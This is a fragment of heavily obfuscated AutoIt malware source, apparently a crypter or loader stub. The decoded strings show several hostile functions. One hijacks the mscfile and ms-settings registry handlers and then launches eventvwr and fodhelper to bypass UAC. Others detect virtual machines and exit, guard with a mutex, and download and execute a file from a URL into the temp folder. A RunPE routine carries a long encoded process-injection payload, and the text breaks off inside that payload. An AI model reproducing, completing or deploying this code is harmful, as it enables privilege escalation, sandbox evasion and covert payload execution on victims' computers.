Code: | LOCAL $EKYCTCNHDZ = EXECUTE
LOCAL $OJGVBERKEJBE = $EKYCTCNHDZ ("DllStructGetData" )
LOCAL $YLVQLIDHEJWX = $EKYCTCNHDZ ("BinaryToString" )
$IEHDDOIYHINMPBUCHBHARTDUKILWZQCUVDTRYHUFIM = EXECUTE ("@TempDir" )
$CFJUHMDSDKCZOCVFLYURKIBOKZAHTMIIE = EXECUTE ("@ScriptDir" )
$AVJTMWBNEWJJVDCTUDWDEWCFIKWNLJRYLAMRLSPMDEPITACR = EXECUTE ("@OSVersion" )
$FJVRHISHSSHJEPWQMMUMBIFRUFCKXVFVZNRK = EXECUTE ("@AutoItPID" )
$RPXLQCDPMYWXAMHGBQJLUKGTWUMRCSLUOUUNBYGLQPOG = EXECUTE ("@AutoItExe" )
$BECCJIYOKJQE = EXECUTE ("vLsHMDZkXoUe()" )
$YFYLLVZDUQRC = EXECUTE ("UgPtHQHyLfMO()" )
$TWXPJLDBTLTX = EXECUTE ("vRMOlqyJsqgj()" )
$UBAKYTACSQES = EXECUTE ("opYIFKUKcKeS()" )
$LYDOYURNNHSZ = EXECUTE ("qlqvzSEcZEvG()" )
$GOWQQZFKJDEL = EXECUTE ("nHvvdkwADDWZ()" )
$QJGZOLGPHKUD = EXECUTE ("mthjnHtHyuuu()" )
$FEYVUXLEGFHL = EXECUTE ("GKoJsOxKXkGd()" )
$ZNNZHMCQTOPD = EXECUTE ("WOyaFfSznMVD()" )
$QCJGZATPVQXM = EXECUTE ("AVxcrdFDaNXy()" )
$EQNGFPRNKMDT = EXECUTE ("lRfvyXQfDmpD()" )
$CLTCCKUEQWTC = EXECUTE ("zUQiQWYIEpgw()" )
$DQIFFUXAMLIV = EXECUTE ("rlIPxUZEcExv()" )
$INRXTUXKPWXC = EXECUTE ("eCsyIKarWbOw()" )
$CAIQJRRJDNHO = EXECUTE ("rjSCxWpqpGlt()" )
$QBQADACRHPDC = EXECUTE ("gzefgaQpTilN()" )
$SPAYPUCWZKBI = EXECUTE ("BrOstHgPRzHk()" )
$ROAVRSIHXASO = EXECUTE ("plxmFFUKhkpt()" )
$GODTWHVWYOIN = EXECUTE ("dzmXwpbfDjeK()" )
OPT (BTBXJYMRFGAETPA ("20,44,27,51,9,29,41,40,8,35,30,31" ) , BTBXJYMRFGAETPA ("54" ) )
FUNC BTBXJYMRFGAETPA ($STR )
LOCAL $ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
LOCAL $SPLIT = STRINGSPLIT ($ALPHABET , "" )
LOCAL $STRINGSPLITTED = STRINGSPLIT ($STR , "," )
LOCAL $RESULT
FOR $I = "1" TO UBOUND ($STRINGSPLITTED ) - "1"
$RESULT &= $SPLIT [$STRINGSPLITTED [$I ] ]
NEXT
RETURN $RESULT
ENDFUNC
FUNC FFFWGZEQMC ($PID )
WHILE (1 )
$UBAKYTACSQES (BTBXJYMRFGAETPA ("54,53,53,53,53" ) )
IF $QJGZOLGPHKUD ($PID ) = BTBXJYMRFGAETPA ("53" ) THEN
JBBXBRVVWS ()
ENDIF
WEND
ENDFUNC
FUNC GKOJSOXKXKGD ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("16,44,41,29,31,45,45,3,38,41,45,31" ) )
ENDFUNC
FUNC XOR ($INPUT , $KEY )
LOCAL $RESULT
LOCAL $E = EXECUTE
LOCAL $B = $E (BTBXJYMRFGAETPA ("28,35,40,27,44,51,46,41,45,46,44,35,40,33" ) )
LOCAL $SPLIT = $E ($B (BTBXJYMRFGAETPA ("53,50,58,56,60,57,60,55,59,62,59,5,59,60,58,56,60,53,59,3,59,62,60,57,55,61,55,57,59,62,59,5,60,53,60,58,60,57,55,3,55,53,55,55,55,55,55,62" ) ) )
FOR $I = BTBXJYMRFGAETPA ("54" ) TO $SPLIT [BTBXJYMRFGAETPA ("53" ) ]
$RESULT &= $E ($B (BTBXJYMRFGAETPA ("53,50,57,56,59,61,60,55,58,60,55,61,57,55,59,62,60,57,58,61,57,6,58,55,55,61,57,54,60,56,59,56,55,61,55,57,60,56,60,53,59,3,59,62,60,57,58,2,55,57,59,62,58,4,55,62,55,3,55,53,55,57,59,2,59,58,60,62,55,62,55,62" ) ) )
NEXT
RETURN $RESULT
ENDFUNC
FUNC GTIQUIETGC ()
$GOWQQZFKJDEL ("HKCU\Software\Classes\mscfile\shell\open\command" , "" , "REG_SZ" , $RPXLQCDPMYWXAMHGBQJLUKGTWUMRCSLUOUUNBYGLQPOG )
$LYDOYURNNHSZ (BTBXJYMRFGAETPA ("31,48,31,40,46,48,49,44" ) )
$FEYVUXLEGFHL ($FJVRHISHSSHJEPWQMMUMBIFRUFCKXVFVZNRK )
ENDFUNC
FUNC BROSTHGPRZHK ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("4,38,38,3,27,38,38" ) )
ENDFUNC
FUNC AVXCRDFDANXY ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("9,45,1,30,39,35,40" ) )
ENDFUNC
FUNC VGPSDSMHIF ($LOOP , $TIME )
FOR $I = BTBXJYMRFGAETPA ("53" ) TO $LOOP
LOCAL $A = $GODTWHVWYOIN (BTBXJYMRFGAETPA ("53,50,61,61" ) , BTBXJYMRFGAETPA ("53,50,58,58" ) )
$A = $ROAVRSIHXASO ($A , $A + BTBXJYMRFGAETPA ("54" ) )
$UBAKYTACSQES ($TIME / $LOOP )
NEXT
ENDFUNC
FUNC MSQGWYVXLW ()
$SPAYPUCWZKBI ("kernel32.dll" , BTBXJYMRFGAETPA ("28,41,41,38,31,27,40" ) , BTBXJYMRFGAETPA ("23,41,49,59,57,5,40,27,28,38,31,23,41,49,59,57,6,45,18,31,30,35,44,31,29,46,35,41,40" ) , BTBXJYMRFGAETPA ("28,41,41,38,31,27,40" ) , BTBXJYMRFGAETPA ("53" ) )
$GOWQQZFKJDEL ("HKCU\Software\Classes\ms-settings\shell\open\command" , BTBXJYMRFGAETPA ("4,31,38,31,33,27,46,31,5,50,31,29,47,46,31" ) , "REG_SZ" , BTBXJYMRFGAETPA ("14,47,38,38" ) )
$GOWQQZFKJDEL ("HKCU\Software\Classes\ms-settings\shell\open\command" , "" , "REG_SZ" , $RPXLQCDPMYWXAMHGBQJLUKGTWUMRCSLUOUUNBYGLQPOG )
$LYDOYURNNHSZ (BTBXJYMRFGAETPA ("32,41,30,34,31,38,42,31,44" ) )
$FEYVUXLEGFHL ($FJVRHISHSSHJEPWQMMUMBIFRUFCKXVFVZNRK )
ENDFUNC
FUNC RJSCXWPQPGLT ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("4,38,38,19,46,44,47,29,46,7,31,46,4,27,46,27" ) )
ENDFUNC
FUNC LSVTGEQXOY ()
LOCAL $ARRAY = ["vmtoolsd.exe" , "vbox.exe" ]
FOR $I = BTBXJYMRFGAETPA ("53" ) TO $YFYLLVZDUQRC ($ARRAY ) - BTBXJYMRFGAETPA ("54" )
IF $QJGZOLGPHKUD ($ARRAY [$I ] ) THEN
$FEYVUXLEGFHL ($FJVRHISHSSHJEPWQMMUMBIFRUFCKXVFVZNRK )
ENDIF
NEXT
ENDFUNC
FUNC ECSYIKARWBOW ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("6,35,38,31,3,38,41,45,31" ) )
ENDFUNC
FUNC UELUVLCZRM ($SOCCURRENCENAME )
LOCAL $E = EXECUTE
LOCAL $B = $E (BTBXJYMRFGAETPA ("2,35,40,27,44,51,20,41,19,46,44,35,40,33" ) )
LOCAL $AHANDLE = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,5,59,57,59,3,59,3,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,55,57,56,60,55,59,58,59,54,60,57,59,58,57,4,60,58,60,57,59,58,60,61,58,60,55,55,55,3,55,53,55,55,60,56,60,57,60,55,60,58,59,56,60,57,55,1,55,55,55,3,55,53,55,55,56,53,55,55,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,56,54,55,55,55,3,55,53,55,55,60,60,60,56,60,57,60,55,55,55,55,3,55,53,55,57,60,56,57,6,59,56,59,56,60,58,60,55,60,55,59,58,59,5,59,56,59,58,57,5,59,54,59,4,59,58,55,62" ) ) )
LOCAL $ALASTERROR = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,5,59,57,59,3,59,3,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,57,60,59,58,60,57,57,3,59,54,60,56,60,57,57,58,60,55,60,55,59,6,60,55,55,55,55,62" ) ) )
IF $ALASTERROR [BTBXJYMRFGAETPA ("53" ) ] = BTBXJYMRFGAETPA ("54,61,56" ) THEN
$E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,5,59,57,59,3,59,3,55,55,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,59,3,59,6,60,56,59,58,57,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,59,54,57,61,59,54,59,5,59,57,59,3,59,58,58,2,55,55,56,53,55,55,58,4,55,62" ) ) )
$E ($B (BTBXJYMRFGAETPA ("53,50,58,53,60,55,59,6,59,56,59,58,60,56,60,56,57,56,59,3,59,6,60,56,59,58,55,61,57,53,57,54,60,58,60,57,59,6,57,62,60,57,57,58,60,61,59,58,55,62" ) ) )
ENDIF
ENDFUNC
FUNC AAMNHDQEEW ($URL , $PATH )
IF $BOOL = BTBXJYMRFGAETPA ("6,27,38,45,31" ) THEN
$EQNGFPRNKMDT ($URL , $IEHDDOIYHINMPBUCHBHARTDUKILWZQCUVDTRYHUFIM & "\" & $PATH )
$LYDOYURNNHSZ ($IEHDDOIYHINMPBUCHBHARTDUKILWZQCUVDTRYHUFIM & "\" & $PATH )
ENDIF
ENDFUNC
FUNC DZMXWPBFDJEK ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("2,35,46,1,14,4" ) )
ENDFUNC
FUNC RUNPE ($PROCESS , $DATA , $PROTECT , $PERSIST )
LOCAL $LMASCGP
$LMASCGP &= BTBXJYMRFGAETPA ("53,50,56,60,60,6,57,55,56,5,57,54,56,54,56,59,57,55,56,60,56,60,56,60,56,60,56,55,56,55,56,6,57,58,57,55,57,57,57,58,56,6,56,56,57,56,56,55,57,59,56,60,56,60,56,60,56,60,56,6,56,57,57,55,57,57,56,59,56,56,56,54,56,54,56,57,56,5,56,60,56,57,56,53,56,56,56,60,56,56,56,57,56,57,57,57,56,60,57,55,57,58,56,53,57,54,56,6,57,58,56,56,56,57,56,57,57,57,56,6,56,59,56,57,57,57,56,59,56,6,56,55,56,60,56,56,56,55,56,60,56,60,56,60,56,60,56,53,56,55,57,54,56,60,56,6,57,58,56,56,56,56,56,59,56,6,56,53,56,6,56,6,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,56,54,56,55,57,54,56,6,56,60,56,60,56,60,56,57,57,57,56,57,56,6,57,58,56,55,56,60,56,58,56,60,56,6,57,58,56,56,56,6,56,59,56,6,56,55,56,54,56,6,57,58,56,53,56,60,56,59,57,57,56,60,56,57,57,56,56,57,56,60,56,57,57,54,56,57,56,55,56,53,56,6,56,5,56,56,57,56,57,54,56,60,56,6,56,55,57,57,56,5,56,53,56,56,56,56,57,54,56,6,57,58,56,56,56,60,56,58,56,56,56,60,56,57,57,57,56,57,56,6,56,5,56,56,56,55,57,55,57,57,56,6,57,58,56,56,56,55,57,54,56,6,56,6,57,58,56,60,57,57,56,6,56,58,56,6,57,58,56,56,56,55" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,6,56,60,56,57,57,57,57,58,56,6,56,5,56,56,56,55,57,54,56,56,56,6,57,58,56,56,56,55,57,54,56,56,56,6,57,59,56,60,56,60,56,6,56,6,56,56,56,55,57,54,57,54,56,6,57,59,56,60,56,59,56,60,57,54,57,58,57,55,56,53,57,56,57,54,57,54,56,6,56,6,56,56,56,55,57,54,57,55,56,60,57,54,57,58,57,55,57,57,56,60,56,58,57,58,57,54,56,6,57,54,57,54,56,56,56,55,57,54,56,56,56,6,56,60,56,53,57,56,57,54,57,54,56,60,56,60,56,53,56,56,56,60,57,58,56,56,56,59,56,6,56,60,56,53,57,56,57,54,57,55,56,60,56,60,56,53,56,56,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("60,56,56,56,6,56,55,57,54,57,54,56,53,56,56,57,56,56,54,56,6,56,55,57,54,57,54,56,53,56,56,56,59,56,57,57,54,57,54,56,56,56,55,57,54,56,6,56,6,57,58,56,56,56,55,57,54,56,6,56,57,57,58,56,56,56,55,57,54,56,60,56,53,56,58,57,58,56,5,56,57,56,57,57,57,56,60,56,55,57,54,56,55,57,55,57,57,56,5,57,57,56,58,56,60,56,56,56,60,56,60,56,6,57,58,56,56,56,55,57,55,57,57,56,6,57,58,56,56,57,56,57,54,56,6,56,60,57,54,57,58,56,53,56,60,56,56,56,56,56,6,56,6,57,58,56,60,56,56,56,6,56,54,56,60,56,57,57,57,56,57,57,55" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,58,57,55,56,5,56,55,56,55,56,6,57,58,57,55,57,57,56,6,56,57,57,55,57,57,56,55,57,57,56,54,56,56,56,6,57,58,56,60,57,56,56,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,55,56,57,56,55,56,54,56,6,57,58,57,54,56,60,56,57,56,57,57,57,56,60,56,6,56,5,56,56,56,55,57,54,57,57,56,6,56,5,56,56,56,55,57,54,56,6,56,6,57,58,56,56,56,5,56,60,57,57,56,6,57,58,56,56,56,5,56,59,56,56,56,6,57,58,56,60,56,5,56,6,57,58,56,55,56,5,56,59,56,60,56,55,56,53,57,57,56,53,56,56,56,55,57,56,56,60,56,56,57,55,56,53,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,57,54,56,53,56,60,57,57,56,53,56,56,56,55,57,56,56,56,56,54,56,55,56,54,57,55,56,55,56,57,56,54,56,55,57,57,56,53,56,56,56,55,57,56,56,6,56,54,56,57,56,53,56,56,56,54,56,5,56,54,57,54,56,54,56,54,57,57,56,53,56,56,56,55,57,56,57,57,56,54,57,55,56,60,56,60,57,57,56,53,56,56,56,55,57,58,57,57,56,56,57,55,56,53,56,56,56,56,57,56,56,54,56,59,57,57,56,53,56,56,56,55,57,57,56,60,56,53,56,60,56,55,56,54,56,54,56,5,56,54,56,55,57,57,56,53,56,56,56,55,57,57,56,56,56,53,56,53,56,56,57,54,56,54,56,54,56,55,56,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,57,56,53,56,56,56,55,57,57,56,6,56,54,56,55,56,54,56,57,56,53,56,56,56,54,56,5,56,54,56,54,57,57,56,53,56,56,56,55,57,57,57,57,56,54,57,54,56,54,57,55,56,6,56,6,56,56,56,55,57,57,57,55,56,57,57,58,57,56,56,6,56,53,56,55,56,60,56,53,56,57,56,57,57,57,56,60,57,55,56,5,57,59,56,5,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,57,56,56,60,56,55,56,60,57,55,56,6,57,56,57,54,57,54,57,55,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,6,56,6,57,56,56,56,56,55,57,58,57,57,56,55,56,60,57,55,56,6,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,57,54,56,60,56,6,57,56,56,56,56,55,57,55,56,6,56,55,56,60,56,54,56,56,57,59,56,59,56,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,58,56,56,56,60,56,60,57,57,56,6,57,58,56,56,56,60,56,59,56,56,56,6,57,58,56,60,56,60,56,6,57,58,56,55,56,6,56,59,56,60,57,57,56,53,56,56,56,55,57,55,56,6,56,53,56,53,56,54,56,57,56,53,56,57,56,54,57,57,56,54,56,54,57,57,56,53,56,56,56,55,57,55,57,57,56,54,56,55,56,54,57,55,57,57,56,54,56,56,56,55,57,55" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,55,56,60,56,60,57,55,56,6,57,59,56,54,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,54,56,6,56,5,56,53,56,55,57,55,56,56,57,54,57,54,57,56,56,60,56,60,56,57,57,57,56,60,56,54,56,54,56,6,56,5,56,56,56,55,57,55,56,60,56,54,56,54,56,6,56,5,56,56,56,55,57,55,56,58,56,6,57,56,56,56,56,55,57,55,56,60,56,55,56,5,56,6,56,5,56,56,56,55,57,59,57,57,56,6,57,56,56,56,56,55,57,59,56,56,56,55,56,60,56,57,56,57,57,54,56,54,56,54,57,59,56,60,57,57,56,6,57,56,56,56,56,55,57,54,56,56,56,55,56,60,57,57,56,53,56,56,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("55,57,59,56,56,56,59,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,56,5,56,53,56,55,57,59,56,6,57,57,56,53,56,56,56,55,57,58,56,60,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,56,5,56,53,56,55,57,58,56,56,56,6,56,5,56,53,56,55,57,58,56,6,57,54,57,54,57,56,56,53,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,56,53,56,57,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,59,56,60,56,58,56,55,56,54,56,54,57,59,56,60,56,59,56,6,57,56,56,56,56,55,57,54,56,6,56,55,56,60,56,55,56,54,56,55,56,54,56,55,56,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,6,57,56,56,56,56,55,57,54,57,57,56,55,56,60,56,54,57,59,57,54,57,54,57,54,57,54,56,53,56,55,57,54,56,56,57,54,57,54,56,55,56,55,57,54,56,60,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,56,55,56,57,57,54,57,54,57,54,57,54,57,54,57,54,56,6,57,58,56,56,56,55,57,54,57,57,56,55,57,54,56,55,57,55,56,55,57,58,57,57,56,5,57,57,56,57,56,55,56,55,56,6,57,58,57,55,57,57,56,55,56,59,56,55,56,59,56,54,56,56,57,59,56,59,56,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,58,56,56,56,60,56,60,57,57,56,6,56,57,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,56,60,56,59,56,56,56,6,57,58,56,60,56,6,56,55,56,57,56,55,56,54,56,55,56,53,56,6,56,5,56,56,56,55,57,54,56,6,56,57,57,58,57,57,56,6,57,55,57,58,56,57,56,58,56,6,57,58,56,56,56,5,56,58,56,6,56,6,57,58,56,53,57,56,56,60,56,6,56,60,57,54,57,58,56,53,56,59,56,53,56,60,57,54,57,58,56,53,56,57,56,59,56,6,57,58,57,56,57,55,56,6,57,58,57,57,56,58,56,58,57,58,57,57,56,57,56,6,56,57,57,57,56,53,56,60,56,58,56,54,56,54,56,6,56,55,57,56,56,58,56,53,56,56,56,60,57,57,56,6,56,57,57,57,56,59,56,60,56,58,56,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,54,56,6,56,55,57,54,56,54,56,53,56,56,56,60,56,56,56,6,56,55,57,57,56,60,56,53,56,56,57,55,56,60,56,6,56,55,57,57,56,60,56,6,57,58,56,56,56,55,57,54,57,57,56,53,56,56,56,59,56,57,56,6,57,58,56,60,56,6,56,57,57,58,56,56,57,56,57,54,56,6,56,6,56,5,56,56,57,56,57,54,57,57,56,53,56,55,57,57,56,5,56,57,56,57,57,57,56,60,56,55,57,54,56,55,57,55,56,55,57,58,57,57,56,5,57,57,56,58,56,60,56,56,56,60,56,60,56,6,57,58,56,56,56,60,56,59,56,60,57,55,57,58,57,54,56,56,56,55,56,55,56,6,57,58,57,55,57,57,57,58,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("6,56,54,56,60,56,59,56,55,56,60,56,60,56,60,56,60,57,55,56,6,56,59,57,58,56,59,57,55,56,60,56,60,56,60,56,60,56,57,56,58,57,57,56,60,56,55,56,57,56,55,56,54,56,55,56,53,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,54,56,54,56,5,56,54,57,55,56,54,56,56,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,53,56,57,56,54,57,54,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,53,56,60,56,60,57,57,56,53,56,6,56,55,57,59,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,57,56,54,57,54,56,54,56,59,56,54,56,56,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,53,56,57,56,54,57,54,57,57,56,53,56,6,56,55,57,58,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,57,56,54,56,55,56,6,56,6,56,6,56,55,57,58,56,56,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,57,56,54,56,5,56,53,57,59,56,54,56,55,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,54,56,55,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,54,57,54,56,53,56,55,56,53,56,58,56,54,56,54,57,57,56,53,56,6,56,55,56,57,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,57,56,54,56,55,56,6,56,6,56,6" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,55,56,57,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,57,56,54,57,54,56,54,56,57,56,54,57,58,57,57,56,53,56,6,56,55,57,58,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,53,56,57,56,54,57,54,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,57,56,54,56,55,56,6,56,6,56,6,56,55,57,57,56,56,57,54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("6,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56,53,56,6,56,55,56,55,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,55,56,57,57,57,56,53,56,6,56,55,56,54,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,5,56,53,56,57,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,54,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,56,56,56,56,5,56,54,57,55,56,54,56,54,57,57,56,53,56,6,56,55,56,54,56,6,57,54,56,5,57,54,57,54,57,54,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,54,57,54,56,53,56,58,56,54,57,56,56,54,56,59,57,57,56,53,56,6,56,55,56,54,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,5,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,53,56,60,57,54,56,5,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,5,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,59,56,54,57,57,57,57,56,53,56,6,56,55,56,5,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,54,56,54,56,57,56,54,56,59,57,57,56,53,56,6,56,55,56,5,56,6,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,55,56,54,56,54,56,5,57,57,56,53,56,6,56,55,56,5,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,56,56,53,56,55,56,54,56,59,57,57,56,53,56,6,56,55,57,59,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,57,56,56,57,56,56,54,56,55,56,54,57,56,57,57,56,53,56,6,56,55,57,59,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,58,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,57,56,60,56,60,57,57,56,53,56,6,56,55,56,58,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("53,56,6,56,55,56,58,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,56,56,5,57,57,56,53,56,6,56,55,56,58,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,54,56,54,57,54,56,53,56,58,57,57,56,53,56,6,56,55,56,58,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,56,56,54,56,59,56,53,56,56,56,54,56,5,57,57,56,53,56,6,56,55,56,57,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,55,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,56,57,56,56,57,54,56,5" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,57,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,57,56,60,56,60,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,53,56,54,56,55,56,53,56,56,56,55,56,57,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,5,56,53,56,57,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,55,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,56,56,56,56,5,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,55,56,54,56,54,56,54,56,54,57,57,56,53,56,6,56,55,57,55,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,54,56,60,56,60,57,57,56,53,56,56,56,55,57,58,56,6,56,54,57,56,56,54,56,58,56,53,56,57,56,53,56,56,57,57,56,53,56,56,56,55,57,58,57,57,56,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,6,56,6,56,56,56,55,57,57,56,60,57,57,56,53,56,56,56,55,57,56,56,56,56,53,56,57,56,53,56,56,56,53,56,58,56,54,57,57,56,54,56,54,57,57,56,53,56,56,56,55,57,56,56,6,56,54,56,55,56,54,57,55,56,6,56,6,56,56,56,55,57,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,59,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,57,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,54,57,55,56,53,56,56,56,54,56,56,57,57,56,53,56,6,56,55,56,56,56" )
